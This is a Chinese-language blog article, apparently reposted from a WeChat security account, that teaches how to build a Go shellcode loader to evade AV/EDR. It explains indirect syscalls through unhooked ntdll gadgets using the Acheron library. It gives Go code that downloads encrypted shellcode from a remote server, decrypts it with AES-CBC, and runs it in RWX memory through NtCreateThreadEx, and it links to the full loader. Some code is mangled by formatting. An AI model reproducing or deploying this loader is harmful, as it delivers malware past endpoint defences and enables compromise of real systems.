背景与引言
2025年6月6日,安全研究者Smukx.E在X平台上发布了一篇引人深思的帖子,聚焦于一款名为Percino的Golang-based evasive loader(规避加载器)。这款加载器利用进程空洞技术和Triple DES加密技术,有效规避了包括Microsoft Defender for Endpoint在内的主流端点检测与响应(EDR)系统检测。这一技术已在GitHub上公开的项目中得到验证,并成功实现了对EDR的完全绕过。根据2023年IEEE关于恶意软件演变的研究,Golang-based恶意软件因其跨平台兼容性及对静态分析的抗性,近年来增长了约40%,凸显了攻击工具在复杂性与隐蔽性上的显著提升。此外,帖子中附带的Sophos和IDA Pro工具截图,展示了深入的反向工程过程,揭示了加载器如何操纵系统进程,这一战术与2025年归因于朝鲜民主主义人民共和国(DPRK)高级持续性威胁(APT)活动的类似技术有共通之处。
VaultSec实验室的探索
本文依托VaultSec实验室(VaultSec Lab)的最新研究,主题为“Golang伪装:用Go语言构建规避加载器”。实验室以“检测始于您的创造力结束之处”为理念,深入探讨了在AV/EDR(防病毒/端点检测与响应)防御机制不断升级的背景下,如何利用Go语言打造一个隐秘的Shellcode加载器。该加载器通过从远程服务器获取并解密AES加密的Shellcode,并结合间接系统调用技术,实现对EDR的规避。文章由VaultSec实验室研究员萨马德·布洛赫(Samad Bloch)于2024年12月21日撰写,旨在为安全研究人员和专业人士提供宝贵的实战见解。
技术核心与EDR规避机制
-
仪表回调与行为监控EDR通过内核模式功能(如ETW,Windows事件跟踪)实现仪表回调,实时监控系统事件,包括系统调用。通过分析事件流,EDR能识别异常行为,例如来自可疑内存区域的调用或偏离常规模式的调用序列。此外,EDR通过行为监控检测系统调用是否遵循标准用户模式流程(应用程序→ntdll.dll→内核),若检测到异常返回地址或绕过ntdll.dll的尝试,将触发警报。
-
ntdll.dll的重要性与未挂钩系统调用ntdll.dll作为用户模式与内核之间的桥梁,是EDR监控的“瓶颈”。攻击者常通过识别ntdll.dll中未挂钩的syscall; ret指令序列(系统调用小工具),利用合法代码路径执行间接系统调用,从而降低检测风险。例如,通过mov r10, rcx和mov eax, 0x18等指令跳转至干净的syscall小工具,可有效规避用户模式钩子。
-
Acheron工具的创新应用Acheron是一款受到SysWhisper3、FreshyCalls和RecycledGate启发的工具,集成了PEB遍历、导出目录解析、系统服务编号提取及未挂钩系统调用枚举等功能。通过创建代理实例,Acheron允许开发者在Go语言中无缝执行间接系统调用。例如,NtAllocateVirtualMemory等API调用可通过Acheron的Syscall函数重定向,实现隐秘内存分配与Shellcode执行。
加载器构建过程
-
获取加密Shellcode加载器通过fetchShellcode函数从远程服务器下载加密Shellcode,避免直接嵌入二进制文件,从而降低高熵值风险。
-
解密Shellcode采用AES-CBC加密技术解密Shellcode,确保加载器的动态性与抗签名检测能力。decryptShellcode函数利用加密密钥和初始化向量完成解密过程。
-
执行Shellcode借助Acheron,加载器通过NtAllocateVirtualMemory分配内存、NtWriteVirtualMemory写入解密Shellcode、NtProtectVirtualMemory设置可执行权限,并通过NtCreateThreadEx创建新线程执行Shellcode,实现完全隐秘的攻击流程。
在 AV/EDR(防病毒/端点检测与响应)防御机制不断发展的背景下,传统的系统调用执行越来越容易受到检测。这些工具利用用户模式钩子和插桩回调来标记异常行为,例如未返回到 .NET Framework 的系统调用。ntdll.dll. 本篇博文深入探讨了如何在GO中创建规避型 Shellcode 加载器,从服务器获取和解密 AES 加密的 Shellcode,并使用间接系统调用秘密执行。
仪表回调
检测回调是另一层监控,主要通过内核模式功能(如ETW(Windows 事件跟踪))实现。
-
工作原理:
回调允许 EDR 实时跟踪系统事件(包括系统调用)。通过分析这些事件的流程,EDR 可以标记异常。
-
检测机制:
如果系统调用似乎源自可疑内存区域(例如,注入的代码或自定义内存页面),或者系统调用序列偏离典型模式,则可能会被标记。
行为监控
-
工作原理:
EDR 监控系统调用的顺序和上下文,以检测与正常应用程序行为的偏差。例如:
-
应用程序是否频繁访问标记为可执行但不受合法模块支持的内存区域?
-
是否有绕过的系统调用ntdll.dll?
-
检测机制:
当系统调用不遵循标准用户模式流程(从应用程序-> ntdll.dll->内核)时,这种异常行为会被标记为可疑。
为何关注ntdll.dll?
ntdll.dll充当用户模式应用程序和内核之间的桥梁。通过确保系统调用通过发起和返回ntdll.dll,EDR 可以维护监控的“瓶颈”:
-
异常返回地址:
如果系统调用的返回地址不在预期范围内ntdll.dll,则表明存在篡改或逃避尝试。
-
绕过用户模式钩子:一些攻击者试图通过使用直接系统调用或内联汇编
来完全 绕过。EDR 通过仔细检查内核级别的执行流程来解决这个问题。ntdll.dll
Fix ?
1)识别未挂钩的系统调用gadget
系统调用指令集 (Syscall Gadget)ntdll.dll是包含syscall和指令的一小段指令序列ret。这些指令集是合法的,ntdll.dll并且存在于未修改的(干净的)内存区域中。我们可以通过以下方式找到这些指令集:
-
ntdll.dll枚举已加载到进程中的内存区域。
-
搜索与序列签名匹配的干净指令syscall; ret。例如
syscallret
使用工具或自定义代码在内存中进行解析ntdll.dll以识别未挂钩的部分。
这些小工具仍处于未连接状态,因为:
-
钩子针对 API 入口点(例如NtAllocateVirtualMemory),而不是每个系统调用指令。
-
EDR(Sentinel 除外)专注于监控高级 API 而不是原始指令序列。
例子
mov r10, rcx ; Syscall convention requires R10 for certain argumentsmov eax, 0x18 ; Syscall numberfor NtAllocateVirtualMemory; Jump to clean syscall gadgetjmp [Address of syscall; ret in clean ntdll.dll]
该技术利用合法的代码路径,ntdll.dll而不注入新的或可疑的指令,从而降低检测风险。
Acheron 是什么?
Acheron 受到 SysWhisper3、FreshyCalls 和 RecycledGate 等工具的启发,提供了以下功能:
1、PEB 遍历:
遍历进程环境块 (PEB) 以定位ntdll.dll的内存基址。这绕过了对 之类的 API 调用的依赖GetModuleHandle,这些调用通常会被 EDR 钩住。
2、导出目录解析
一旦ntdll.dll确定了的基地址,Acheron 就会解析其导出目录以定位导出函数的地址,如ZwAllocateVirtualMemory或ZwCreateThreadEx。
3、系统服务编号提取
Acheron 计算执行系统调用所需的系统服务编号 (SSN),这些编号存储在ntdll.dll导出表中。
4、清理系统调用小工具枚举:
为了绕过挂钩函数,Acheron 会在 中搜索未挂钩的syscall; ret指令ntdll.dll。这些小工具可作为间接系统调用的跳床点。
5、代理创建
创建一个代理实例,允许开发人员在 Go 中无缝地进行间接或直接系统调用。
下面,你可以看到我们只是简单地调用了NtAllocateVirtualMemory。我们还没有使用 Acheron 实现代理调用。
status, _, _ := procNtAllocateVirtualMemory.Call(uintptr(hProcess),uintptr(unsafe.Pointer(&baseAddress)),0,uintptr(unsafe.Pointer(®ionSize)),0x3000, // MEM_COMMIT | MEM_RESERVE0x40, // PAGE_EXECUTE_READWRITE )
要进行代理调用并使用 Acheron 的间接系统调用,我们需要定义一个 Acheron 的代理实例。首先导入github.com/f1zm0/acheron。然后,如下所示创建 Acheron 的代理实例。
// Create Acheron instance ach, err := acheron.New()if err != nil { fmt.Printf("Error initializing Acheron: %vn", err)return }
现在,要通过 Acheron 的代理调用间接调用 NtAPI,您需要按如下所示定义它们。
s1 := ach.HashString("NtAllocateVirtualMemory") status, err := ach.Syscall( s1, hProcess,uintptr(unsafe.Pointer(&baseAddress)),0,uintptr(unsafe.Pointer(®ionSize)),0x3000, // MEM_COMMIT | MEM_RESERVE0x40, // PAGE_EXECUTE_READWRITE (for writing and execution) )
这样,我们的 API 调用就会重定向到 Acheron,Acheron 就会执行前面描述的操作。现在,让我们开始构建一个加载器。
构建加载器
1. 获取加密的 Shellcode
使用该函数从远程服务器下载加密的shellcode fetchShellcode。这避免了将shellcode直接嵌入二进制文件中,从而降低了高熵值。
funcfetchShellcode(url string)([]byte, error) { resp, err := http.Get(url)if err != nil {returnnil, fmt.Errorf("failed to fetch shellcode: %v", err) }defer resp.Body.Close() buf := new(bytes.Buffer)if _, err := io.Copy(buf, resp.Body); err != nil {returnnil, fmt.Errorf("failed to read shellcode: %v", err) }return buf.Bytes(), nil}
2.解密Shellcode
我们使用 AES-CBC 加密来保护 Shellcode。解密后,可以确保加载程序的动态性,并规避基于签名的检测。
funcdecryptShellcode(encrypted []byte, key []byte, iv []byte)([]byte, error) { block, err := aes.NewCipher(key)if err != nil {returnnil, fmt.Errorf("failed to create cipher: %v", err) } mode := cipher.NewCBCDecrypter(block, iv) decrypted := make([]byte, len(encrypted)) mode.CryptBlocks(decrypted, encrypted) padding := int(decrypted[len(decrypted)-1])return decrypted[:len(decrypted)-padding], nil}
3.执行Shellcode
使用 Acheron,shellcode 通过间接系统调用执行。主要功能的实现方式如下:
-
NtAllocateVirtualMemory:在当前进程中分配内存。
-
NtWriteVirtualMemory:将解密的shellcode写入分配的内存。
-
NtProtectVirtualMemory:将内存区域设置为可执行。
-
NtCreateThreadEx:创建一个新线程来执行shellcode。
funcexecuteShellcode(ach *acheron.Acheron, shellcode []byte)error { hProcess := uintptr(0xffffffffffffffff) // Current process handlevar baseAddress uintptr regionSize := uintptr(len(shellcode)) status, err := ach.Syscall( ach.HashString("NtAllocateVirtualMemory"), hProcess,uintptr(unsafe.Pointer(&baseAddress)),0,uintptr(unsafe.Pointer(®ionSize)),0x3000,0x40, )if status != 0 || err != nil {return fmt.Errorf("NtAllocateVirtualMemory failed: 0x%x", status) } status, err = ach.Syscall( ach.HashString("NtWriteVirtualMemory"), hProcess, baseAddress,uintptr(unsafe.Pointer(&shellcode[0])),uintptr(len(shellcode)),0, )if status != 0 || err != nil {return fmt.Errorf("NtWriteVirtualMemory failed: 0x%x", status) } status, err = ach.Syscall( ach.HashString("NtCreateThreadEx"),uintptr(unsafe.Pointer(&hThread)),0x1FFFFF,0, hProcess, baseAddress,0,0,0,0,0, )return err}
现在,你的 Go 语言逃逸加载器已经准备就绪。让我们针对一些 EDR 进行测试。你可以在文章末尾找到该加载器的链接。请仔细阅读并考虑进一步改进。
完整代码链接:
github.com/ZwNagi/MistLdr
致谢及参考:
github.com/f1zm0/acheron
原文始发于微信公众号(Ots安全):伪装的 Golang:用 Go 语言构建规避加载器
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论